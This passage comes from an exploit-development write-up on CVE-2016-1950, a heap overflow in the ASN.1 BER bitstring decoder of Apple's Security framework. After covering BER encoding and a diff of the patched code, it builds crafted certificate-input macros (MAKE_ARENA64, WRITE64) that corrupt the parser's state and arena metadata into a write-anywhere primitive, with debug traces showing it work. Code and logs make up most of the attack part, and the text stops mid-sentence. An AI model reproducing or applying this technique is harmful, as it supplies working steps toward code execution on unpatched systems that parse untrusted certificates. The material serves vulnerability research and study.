question "Anybody there?"

}

myAnswer FooAnswer ::= {

questionNumber 5,

answer true

}

In order to pass around the actual messages, they have to be encoded by the sender and decoded by the receiver. There exist various types of encodings: DER, BER, XER, CER, PER and so on, but in this article we will focus on BER (Basic Encoding Rules) for reasons that will become apparent later.

‑‑ 1.0 ‑ BER basics

BER is a TLV encoding, aka type‑length‑value. Each data element is encoded as a Type, followed by a Length, followed by the actual Data and optionally an end‑of‑content marker.

+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

| Type | Length | Data | END (optional) |

+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

ITU‑T X.680 defines the Type:

End‑of‑Content (EOC) Primitive 0 BOOLEAN Primitive 1 INTEGER Primitive 2 BIT STRING Primitive/Constructed 3 ...

SEQUENCE and SEQUENCE OF Constructed 16

The Type is encoded as an ASN tag. In its simplest form it looks like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Class (2 bits) | Primitive/Constructed (1 bit) | Type (5 bits) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the type exceeds 5 bits, the tag is encoded a bit differently, but we don't need it for the purpose of this writeup.

For our FooAnswer example, the simplest encoding would be (in hex):

30 is a combination of 0x20 (Constructed) + 0x10 (Sequence) 06 is the total sequence length

02 denotes an integer

01 denotes the length of the integer in bytes 05 the actual integer value

01 denotes a boolean

01 denotes the length of the boolean in bytes FF the actual boolean value (TRUE)

It is important to note that BER encoding is quite flexible. For example, we can have a bitstring expressed as a sequence of one or more primitive bitstrings:

23 is a combination of 0x20 (Constructed) + 0x03 (Bit String) 09 is the total length of the components 03 denotes a bitstring

02 the length of the bitstring in bytes, plus 1 00 number of unused trailing bits at the end of the last byte 41 the first part of the actual bitstring 03 denotes a bitstring

02 the length of the bitstring in bytes, plus 1 01 number of unused trailing bits at the end of the last byte 42 42 the second part of the actual bitstring

The decoder should merge those bitstrings, resulting in: 010000010100001.

Length can be specified in two ways: indefinite and definite. The former does not encode the length at all, but the content data must finish at EOC. The latter has two forms: short and long. The short form is a single byte in range [0 .. 127]. The long form is expressed as (0x80 + size of length), followed by the actual length in big‑endian format. This is not terribly important but such encodings may pop up later in our article.

There are many other examples of BER flexibility, but we will not concern ourselves with those, because they are outside the scope of this article.

DER is very similar to BER, but with all that flexibility removed. Whereas BER has many ways to skin the cat, DER will provide only one, the canonical form. Because ASN.1 parsers tend to become very complex to handle all sorts of obscure BER input, they can become a rich source of bugs.

‑‑ 2 ‑ Enter the bug

For a very long time, security researchers have looked for software bugs using differential analysis, especially when the vendor is vague about the fixed vulnerabilities. Oftentimes, after a security update, it is worth diffing or ‑‑ when the source is not available ‑‑ bindiffing between the new version and the old one.

Let's take a look at the security content of iOS 9.3 update[0], matching with OS X El Capitan v10.11.4 / Security Update 2016‑002. Somewhere down the line, it says:

Security:

Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution

Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE‑2016‑1950 : Francis Gabriel of Quarkslab

OK, this sounds pretty bad. Or good, depending on the perspective. In this case the sources were available[2], so it was worth enough diffing them:

$ diff ‑Naurp Security‑57337.20.44 Security‑57337.40.85

Most of the relevant code is in Security‑57337.20.44/OSX/libsecurity_asn1/ and something interesting pops up in secasn1d.c.diff:

// If this is a bit string, the length is bits, not bytes.

Indeed, the old code looks somewhat fishy:

PORT_Memcpy(item‑>Data + item‑>Length, buf, len); item‑>Length += len;

... and somewhere down the line...

item‑>Length = (item‑>Length << 3) ‑ state‑>bit_string_unused_bits;

A quick glance tells us the bit vs byte confusion happens at concatenating multiple primitive bitstrings and smells like OOB write. The offset seems to jump geometrically higher and higher in `sec_asn1d_parse_leaf` and it is reachable from:

sec_asn1d_parse_more_bit_string

SEC_ASN1DecoderUpdate

SEC_ASN1Decode

SecAsn1Decode

‑‑ 2.0 ‑ The allocator

The decoder has its own memory allocator, an Arena Allocator[3], designed to be simple and fast. Introduced by Douglas T. Ross around 1967, it was later demonstrated by Hanson in 1990 that Arenas are the fastest memory management solution.

In its simplest form, an Arena Allocator cuts consecutive slices from a big block of memory, which was previously requested from the Operating System. These blocks are considered "large" by the system allocator, and therefore happen to be aligned to at least 256 bytes. When the current Arena block is exhausted a new block is requested from the OS and the process is repeated. Usually the memory is freed all‑at‑once, if at all.

The ASN.1 decoder allocates memory via `sec_asn1d_[z]alloc` which calls `PORT_ArenaAlloc` in secport.c, which in turn calls `PL_ARENA_ALLOCATE` in plarena.h

The freeing is done by `PORT_FreeArena` which calls `PL_CLEAR_ARENA` macro for each linked Arena. It was supposed to nuke the memory contents, but in Release mode it does nothing, which allows us to get away without crashing after we start manipulating the Arena meta‑data. OK, that was a spoiler...

The memory manager consists of two pools, each pool containing a linked list of Arenas. `our_pool` holds arenas for state objects and temporary storage, and `their_pool` keeps the destination structures. Each Arena is being defined by the following structure:

struct PLArena {

PLArena *next; /* next arena for this lifetime */

PRUword base; /* aligned base address, follows this header */

PRUword limit; /* one beyond last byte in arena */

PRUword avail; /* points to next available byte */

};

Which is laid out in memory:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| v

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | ... USED|FREE ... |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After one `PORT_ArenaAlloc`, avail moves toward the limit:

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | ... USED ...|FREE |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When an Arena is exhausted, a new one is linked in and the process repeats. At any given time, we are guaranteed that the next allocation will happen between `avail` and `limit`.

‑‑ 2.1 ‑ The state machine

As it turns out, we can build libasn1.dylib from the published sources: we change to Security‑57337.20.44/OSX/libsecurity_asn1/ and, after a bit of plumbing, we can finally type "make". This allows us to instrument/debug the library and visualise the allocations, the state transitions, etc. Our business is in Security‑57337.20.44/OSX/libsecurity_asn1/secasn1d.c, please keep an eye on it, there will be a lot of code snippets as we move forward.

Let's investigate how the ASN.1 parsing really works. The decoder is driven by the so‑called templates, which define a decoding schema for the expected input. For example, when decoding a signed X.509 certificate, it will use `kSecAsn1SignedCertTemplate`. A template may contain various subtemplates: `kSecAsn1TBSCertificateTemplate`, `kSecAsn1AlgorithmIDTemplate` and so on. This mechanism makes sure the elements come in the required order and the parsing stops if the consumed element does not match the expected type:

Template (expected) Input data (actual) Element type <==+==> Element v

Element type <==+==> Element v

Element type <==+==> Element X

Element type <==!==> Wrong element

The state of the currently parsed element is kept in `sec_asn1d_state`, a structure containing various flags, sub‑items and a pointer to the current template ‑‑ this will become important a bit later. The state object looks like this:

typedef struct sec_asn1d_state_struct { SEC_ASN1DecoderContext *top;

const SecAsn1Template *theTemplate;

void *dest; // SecAsn1Item *item

...

struct sec_asn1d_state_struct *parent;

...

unsigned int bit_string_unused_bits;

struct subitem *subitems_head;

struct subitem *subitems_tail;

...

} sec_asn1d_state;

Small note: during this writeup, `item` will always refer to `state‑>dest` and may be used interchangeably hereinafter.

The ASN.1 parser consumes the input, allocating memory as it goes. For each element, a state object and the actual data are laid down in memory inside whatever Arena is active at that given point.

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | STATE, DATA, STATE, DATA ...|FREE |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now we can build a simple example, a constructed bitstring composed of two primitive bitstrings:

len = 256;

CONS_BITSTRING(len);

REP_BITSTRING(0, 10, 'a');

if (len) {

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

The above pseudo‑code will generate:

23 constructed bitstring

82 01 00 length (2 byte long form): 0x100 bytes 03 primitive bitstring

0B length: 11 bytes, including the unused bits specifier 00 number of unused bits, trailing at the end of the last byte "aaaaaaaaaa"

03 primitive bitstring

81 F0 length (1 byte long form): 240 bytes 00 number of unused bits, trailing at the end of the last byte "zzz..."

Which can be decoded with the following call to libasn1.dylib:

SecAsn1Decode(input, input_size, kSecAsn1BitStringTemplate, &output);

We get this:

new ARENA ‑> o_pool/0x7fab29003020 of size 2087 sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fab29003070 in arena o_pool/0x7fab29003020 (left 1831) new ARENA ‑> t_pool/0x7fab29000020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) ‑> 0x7fab29000020 in arena t_pool/0x7fab29000020 (left 775) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fab29003100 in arena o_pool/0x7fab29003020 (left 1687) STATE transition 0x7fab29003070 ‑> 0x7fab29003100 sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 0 = 0x7fab29000020, "6161616161616161", 10) <‑‑ [A]

adjusting item‑>len (10) to 80, unused=0x0 B]

STATE transition 0x7fab29003100 ‑> 0x7fab29003070

STATE transition 0x7fab29003070 ‑> 0x7fab29003100 sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 80 = 0x7fab29000070, "7a7a7a7a7a7a7a7a", 239) <‑‑ [C] sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (319) to 2552, unused=0x0

STATE transition 0x7fab29003100 ‑> 0x7fab29003070

STATE transition 0x7fab29003070 ‑> 0x0

`zalloc(144)` is allocating a new state object. `zalloc(256)` is allocating space for the bitstring itself. And we observe the two memcpy:

memcpy(0x7fab29000020 + 0 = 0x7fab29000020, "6161616161616161", 10) // the 1st memcpy: [A]

memcpy(0x7fab29000020 + 80 = 0x7fab29000070, "7a7a7a7a7a7a7a7a", 239) // the 2nd memcpy: [C]

That is, the state machine is concatenating the two primitive bitstrings to create the final constructed bitstring. But the bitstring pieces should be adjacent, yet they are not, because:

PORT_Memcpy(item‑>Data + item‑>Length, buf, len); item‑>Length += len;

...

item‑>Length = (item‑>Length << 3) ‑ state‑>bit_string_unused_bits;

At each concatenation, `item‑>Length` is used as an offset and then it is updated, growing exponentially higher by roughly a factor of 8, as seen above at [B].

The good news is that the overflow works. The bad news is that the memcpy happens in `their_pool` Arena, whereas the state objects are allocated in `our_pool` Arena. This is not great, since it may be difficult to massage `their_pool` Arenas and ‑‑ even if we pull it off ‑‑ there may be nothing interesting there. We want `our_pool` Arenas, because that's where the state objects are.

‑‑ 2.2 ‑ The subtle flaw

By carefully analysing the state machine for whatever ways of switching to `our_pool`, we notice a weird thing in `sec_asn1d_parse_bit_string`:

if ((state‑>pending == 0) || (state‑>contents_length == 1)) { if (state‑>dest != NULL) {

SecAsn1Item *item = (SecAsn1Item *)(state‑>dest); item‑>Data = NULL; // <‑‑ [D]

item‑>Length = 0;

state‑>place = beforeEndOfContents;

}

if (state‑>contents_length == 1) {

/* skip over (unused) remainder byte */

return 1;

} else {

return 0;

}

}

It looks like a shortcut for empty primitive strings. It essentially nukes the destination item and switches to `beforeEndOfContents`. It looks almost legit, except it is throwing away the old `item‑>Data` by setting it to NULL, as seen at [D]. Then, when the next bitstring component arrives, `sec_asn1d_prepare_for_contents` sees that `item` is nuked and allocates it anew, but this time in `our_pool`. The allocation size is fit to accomodate the last length that was parsed.

And here things start to become interesting. A constructed bitstring has a total length and then each component has its own length (all of these must sum up to the total). If we enter `sec_asn1d_prepare_for_contents` right after the shortcut, the parser must have already parsed the next component and the last parsed length will be of that component, which is smaller than the total. What we just achieved was to throw away the good `item‑>Data` (sized for the grand total) and replace it with a new `item‑>Data` (sized for the next component after the shortcut). If the shortcut didn't exist, then `sec_asn1d_prepare_for_contents` would have not allocated `item‑>Data` again, and the size of the allocation would have remained fit for the grand total. This is a bug in its own right, but more on that later...

The switch to `our_pool` was our goal, and we got it:

alloc_len = state‑>contents_length;

...

if (item == NULL || state‑>top‑>filter_only) {

...

} else if (state‑>substring) {

/*

* If we are a substring of a constructed string, then we may * not have to allocate anything (because our parent, the * actual constructed string, did it for us). If we are a * substring and we *do* have to allocate, that means our * parent is an indefinite‑length, so we allocate from our pool; * later our parent will copy our string into the aggregated * whole and free our pool allocation.

*/

if (item‑>Data == NULL) {

PORT_Assert (item‑>Length == 0);

poolp = state‑>top‑>our_pool;

} else {

alloc_len = 0;

}

} else {

...

}

if (alloc_len || ...) {

...

if (item) {

item‑>Data = (unsigned char*)sec_asn1d_zalloc (poolp, alloc_len); }

...

}

Let's try again, forcing the switch to `our_pool` by introducing an empty bitstring aka the shortcut aka the breaker aka the key to the kingdom:

CONS_BITSTRING(len); // item‑>Data is a block of size=len in their_pool

START_BITSTRING(0, 0); // nuke item‑>Data

REP_BITSTRING(0, 10, 'a'); // new item‑>Data is a block of size=10+1 in our_pool

if (len) {

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

new ARENA ‑> o_pool/0x7f84fc803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) ‑> 0x7f84fc803070 in arena o_pool/0x7f84fc803020 (left 1831) new ARENA ‑> t_pool/0x7f84fc800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) ‑> 0x7f84fc800020 in arena t_pool/0x7f84fc800020 (left 775) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7f84fc803100 in arena o_pool/0x7f84fc803020 (left 1687) STATE transition 0x7f84fc803070 ‑> 0x7f84fc803100

STATE transition 0x7f84fc803100 ‑> 0x7f84fc803070

STATE transition 0x7f84fc803070 ‑> 0x7f84fc803100 sec_asn1d_prepare_for_contents:1458: zalloc(11) ‑> 0x7f84fc803190 in arena o_pool/0x7f84fc803020 (left 1671) sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 0 = 0x7f84fc803190, "6161616161616161", 10) adjusting item‑>len (10) to 80, unused=0x0

STATE transition 0x7f84fc803100 ‑> 0x7f84fc803070

STATE transition 0x7f84fc803070 ‑> 0x7f84fc803100 sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 80 = 0x7f84fc8031e0, "7a7a7a7a7a7a7a7a", 236) adjusting item‑>len (316) to 2528, unused=0x0

STATE transition 0x7f84fc803100 ‑> 0x7f84fc803070

STATE transition 0x7f84fc803070 ‑> 0x0

`sec_asn1d_zalloc(11)` is allocating a temporary buffer of size 10+1.

The parser creates a temporary buffer, which resides in `our_pool`, and it is using it to agglutinate the complete bitstring. But this buffer is only sized for the first part ‑‑ the 'a' part of size 10+1 ‑‑ and therefore it is much smaller than it should be. Remember that `our_pool` is a list of Arenas holding either state objects or temporary input data:

aaaaaaaaaa" "zzz..."

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | STATE, STATE, TEMPORARY |FREE... |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's try again, but force another state object allocation after our short buffer which gets overflowed. We insert a nested constructed bitstring and see what happens. Yes, BER allows it. Yes, it is really that bad...

CONS_BITSTRING(len);

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 10);

REP_BITSTRING(0, 10, 'a');

if (len) {

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

new ARENA ‑> o_pool/0x7f91f3803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) ‑> 0x7f91f3803070 in arena o_pool/0x7f91f3803020 (left 1831) new ARENA ‑> t_pool/0x7f91f3800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) ‑> 0x7f91f3800020 in arena t_pool/0x7f91f3800020 (left 775) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7f91f3803100 in arena o_pool/0x7f91f3803020 (left 1687) STATE transition 0x7f91f3803070 ‑> 0x7f91f3803100

STATE transition 0x7f91f3803100 ‑> 0x7f91f3803070

STATE transition 0x7f91f3803070 ‑> 0x7f91f3803100 sec_asn1d_prepare_for_contents:1458: zalloc(13) ‑> 0x7f91f3803190 in arena o_pool/0x7f91f3803020 (left 1671) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7f91f38031a0 in arena o_pool/0x7f91f3803020 (left 1527) STATE transition 0x7f91f3803100 ‑> 0x7f91f38031a0 sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 0 = 0x7f91f3803190, "6161616161616161", 10) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (10) to 80, unused=0x0

STATE transition 0x7f91f38031a0 ‑> 0x7f91f3803100

STATE transition 0x7f91f3803100 ‑> 0x7f91f3803070

STATE transition 0x7f91f3803070 ‑> 0x7f91f3803100 sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 80 = 0x7f91f38031e0, "7a7a7a7a7a7a7a7a", 234) sec_asn1d_parse_leaf: pre‑existing value = 0x3

adjusting item‑>len (314) to 2512, unused=0x0

STATE transition 0x7f91f3803100 ‑> 0x7f91f3803070

STATE transition 0x7f91f3803070 ‑> 0x0

It is pretty obvious that we can overwrite the state object of the nested constructed bitstring.

aaaaaaaaaa" "zzz..."

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | STATE, STATE, TEMPORARY, STATE|FREE...|

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

However, by the time the second string gets copied, the nested state object is abandoned, and nothing happens. We deduce the actual smash must happen inside the nested constructed bitstring:

CONS_BITSTRING(len);

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 10 + 3 + 64); REP_BITSTRING(0, 10, 'a'); REP_BITSTRING(0, 64, 'b'); // smashes the active state object

if (len) {

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

new ARENA ‑> o_pool/0x7fa27d003020 of size 2087 sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fa27d003070 in arena o_pool/0x7fa27d003020 (left 1831) new ARENA ‑> t_pool/0x7fa27d000020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) ‑> 0x7fa27d000020 in arena t_pool/0x7fa27d000020 (left 775) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fa27d003100 in arena o_pool/0x7fa27d003020 (left 1687) STATE transition 0x7fa27d003070 ‑> 0x7fa27d003100

STATE transition 0x7fa27d003100 ‑> 0x7fa27d003070

STATE transition 0x7fa27d003070 ‑> 0x7fa27d003100 sec_asn1d_prepare_for_contents:1458: zalloc(80) ‑> 0x7fa27d003190 in arena o_pool/0x7fa27d003020 (left 1607) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7fa27d0031e0 in arena o_pool/0x7fa27d003020 (left 1463) STATE transition 0x7fa27d003100 ‑> 0x7fa27d0031e0 sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 0 = 0x7fa27d003190, "6161616161616161", 10) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (10) to 80, unused=0x0

STATE transition 0x7fa27d0031e0 ‑> 0x7fa27d003100

STATE transition 0x7fa27d003100 ‑> 0x7fa27d0031e0 sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 80 = 0x7fa27d0031e0, "6262626262626262", 64) sec_asn1d_parse_leaf: pre‑existing value = 0x7fa27d003020 <CRASH>

Great! We can now smash an active state object while it is being accessed.

‑‑ 2.3 ‑ The strategy

Looking at the `sec_asn1d_state` structure, we realise there are many flags that we can smash, which may or may not confuse the ASN.1 parser state machine. And there are many pointers which we can do partial overwrites on, which has the effect of moving them to another controlled area inside the current Arena. However tempting is to try all of these, we realise there is a low‑hanging fruit in there. Recall how the overwrite offset is computed:

item‑>Length += len;

...

item‑>Length = (item‑>Length << 3) ‑ state‑>bit_string_unused_bits;

By making the `bit_string_unused_bits` large, we can have `item‑>Length` going negative. This has the effect of having `item‑>Data + item‑>Length` pointing somewhere to a smaller address, which can be used to smash other state objects, allocated previously. But then, we end up with the same problem, and then we'd have to figure out what state field to smash again.

A better target is to smash the Arena structure itself. This is a meta‑data attack. It works because the allocations inside an Arena are predictable by design. In fact, we know our bitstrings will always be laid out at the same distance from the start of the active Arena, for a given input.

"aaaaaaaaaa" v

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

| next | base | limit | avail | ... TEMPORARY, STATE|FREE ... |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑

^

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑dest ‑+

After we do this, we trigger another allocation, with another bitstring. If we get it right we can manipulate Arena `limit/avail`, effectively gaining an allocate‑anywhere primitive. And if we follow up with another bitstring, we have gained a write‑anywhere primitive.

CONS_BITSTRING(len);

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 19 + 3 + 4); REP_BITSTRING(4, 19, 'a'); // filler

START_BITSTRING(0, 4); // smash bit_string_unused_bits

PUSH4((19 * 8 ‑ 4 + 4) * 8 + (0x3190 ‑ 0x3020) + 2*8);

START_BITSTRING(0, 16); // smash the Arena

PUSH8(0x4141414141414140 + 16); // limit

PUSH8(0x4141414141414140); // avail

START_BITSTRING(0, 0); // trigger new allocation

REP_BITSTRING(0, 1, 'b'); // trigger new memcpy over allocation

if (len) {

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

If the above seems somewhat confusing, refer to "openssl asn1parse" output:

0:d=0 hl=4 l= 256 cons: BIT STRING

4:d=1 hl=2 l= 1 prim: BIT STRING // break, trigger allocation

7:d=1 hl=2 l= 29 cons: BIT STRING

9:d=2 hl=2 l= 20 prim: BIT STRING // filler: "aaa..."

31:d=2 hl=2 l= 5 prim: BIT STRING // bit_string_unused_bits

38:d=1 hl=2 l= 17 prim: BIT STRING // destination: Arena limit/avail

57:d=1 hl=2 l= 1 prim: BIT STRING // break, trigger fake alloc

60:d=1 hl=2 l= 2 prim: BIT STRING // write value: "b"

64:d=1 hl=3 l= 193 prim: BIT STRING // remainder "zzz..."

new ARENA ‑> o_pool/0x7ffe62803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) ‑> 0x7ffe62803070 in arena o_pool/0x7ffe62803020 (left 1831) new ARENA ‑> t_pool/0x7ffe62800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) ‑> 0x7ffe62800020 in arena t_pool/0x7ffe62800020 (left 775) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7ffe62803100 in arena o_pool/0x7ffe62803020 (left 1687) STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100

STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100 sec_asn1d_prepare_for_contents:1458: zalloc(29) ‑> 0x7ffe62803190 in arena o_pool/0x7ffe62803020 (left 1655) sec_asn1d_push_state:429: zalloc(144) ‑> 0x7ffe628031b0 in arena o_pool/0x7ffe62803020 (left 1511) STATE transition 0x7ffe62803100 ‑> 0x7ffe628031b0 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 0 = 0x7ffe62803190, "6161616161616161", 19) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (19) to 148, unused=0x4

STATE transition 0x7ffe628031b0 ‑> 0x7ffe62803100

STATE transition 0x7ffe62803100 ‑> 0x7ffe628031b0 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 148 = 0x7ffe62803224, "640", 4) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (152) to 18446744073709551232, unused=0x640 STATE transition 0x7ffe628031b0 ‑> 0x7ffe62803100

STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 18446744073709551232 = 0x7ffe62803010, "4141414141414150", 16) sec_asn1d_parse_leaf: pre‑existing value = 0x7ffe62803827 adjusting item‑>len (18446744073709551248) to 18446744073709548672, unused=0x0 STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100

STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100 sec_asn1d_prepare_for_contents:1458: zalloc(2) ‑> 0x4141414141414140 in arena o_pool/0x0 (left ‑1) sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 0 = 0x4141414141414140, "62", 1) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (1) to 8, unused=0x0

STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x7ffe62803100 sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 8 = 0x4141414141414148, "7a7a7a7a7a7a7a7a", 192) sec_asn1d_parse_leaf: pre‑existing value = 0x0

adjusting item‑>len (200) to 1600, unused=0x0

STATE transition 0x7ffe62803100 ‑> 0x7ffe62803070

STATE transition 0x7ffe62803070 ‑> 0x0

We got our write‑anywhere:

memcpy(0x4141414141414140 + 0, "62", 1)

but apparently the remainder of the string is also written somewhere around that address. We will address this issue momentarily (pun intended).

First, let's explain our contraption above. There are two magic values in our bitstring: the value with which to overwrite `bit_string_unused_bits`, and the length of the filler. The former is given by the offset of the temporary buffer inside our current Arena. It does vary depending on what elements have been processed before our bitstring, but for a given input it is considered constant:

D = 0x7fb191003190 ‑ 0x7fb191003020 // actual values do not matter

The latter can be calculated with the following formula:

K = (116=offsetof(sec_asn1d_state, bit_string_unused_bits) + round8(K + 10) + 4=bit_string_unused_bits) / 8

We find that K=19 satisfies the equation and it is a constant allowing us to reach `state‑>bit_string_unused_bits`. Now we can sum up all the above into a write‑anywhere primitive:

#define MAKE_ARENA64(filler, arena_used, lower_bound, upper_bound) \ do { \

CONS_BITSTRING(10 + 19); \

REP_BITSTRING(4, 19, filler); \

\

START_BITSTRING(0, 4); \

PUSH4((19 * 8 ‑ 4 + 4) * 8 + (arena_used) + 2*8); \ \

START_BITSTRING(0, 16); \

PUSH8(upper_bound); \

PUSH8(lower_bound); \

} while (0)

#define WRITE64(clean, x) \

do { \

START_BITSTRING(0, 0); \

if (clean) { \

START_BITSTRING(7, 1); \

PUSH1(x); \

START_BITSTRING(0, 7); \

PUSH7((x) >> 8); \

} else { \

START_BITSTRING(0, 8); \

PUSH8(x); \

} \

} while (0)

And finally, our code looks like this:

CONS_BITSTRING(len);

START_BITSTRING(0, 0); // break

MAKE_ARENA64('a', 0x3190 ‑ 0x3020, 0x4141414141414140, 0x4141414141414150);

WRITE64(0, 0x4242424242424242); // break & write

if (len) {

START_BITSTRING(0, 0); // break for clean exit

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

It essentially translates to:

memset(0x4141414141414140, 0, sizeof(0x4242424242424242) + 1); *(uint64_t *)0x4141414141414140 = 0x4242424242424242;

You will notice there are 3 breakers. One just before hijacking the current Arena. Another one inside the arbitrary write, and the last one just before the remainder of the string. The last one makes sure further ASN.1 parsing resumes in a normal way, without even crashing. This is possible because we designed our fake Arena as small as possible, just enough to accommodate one write; any further allocs will link in new legit Arenas.

To sum it up, we smash a state object to manipulate the current Arena. This will coerce `sec_asn1d_zalloc` into returning the address we want, and make this fake Arena look exhausted after one write. Then we just copy our value at the aforementioned address. There is one minor inconvenience though: the destination address is subject to a zeroing step, which goes one byte past our write size. In order to fix the bleeding, we have to do a multi‑stage write (WRITE64 has a parameter to correct this automatically if needed):

// write n bytes

START_BITSTRING(0, 0); // break

START_BITSTRING(7, 1); // sec_asn1d_zalloc, then memset(dest, 0, 1 + 1)

PUSH1(first); // write first byte. item‑>Length = (0 + 1) * 8 ‑ 7

START_BITSTRING(0, n);

PUSHB(next); // next bytes get written at offset +1

And finally, we can do as many writes as we want, by repeating the process:

CONS_BITSTRING(len);

START_BITSTRING(0, 0);

MAKE_ARENA64('a', 0x3190 ‑ 0x3020, 0x4141414141414140, 0x4141414141414140 + 16);

WRITE64(0, 0x4242424242424242);

START_BITSTRING(0, 0);

MAKE_ARENA64('a', 0, 0x4343434343434340, 0x4343434343434340 + 16);

WRITE64(0, 0x4444444444444444);

if (len) {

START_BITSTRING(0, 0);

START_BITSTRING(0, len ‑ 1);

while (len) {

PUSH1('z');

}

}

Which translate into:

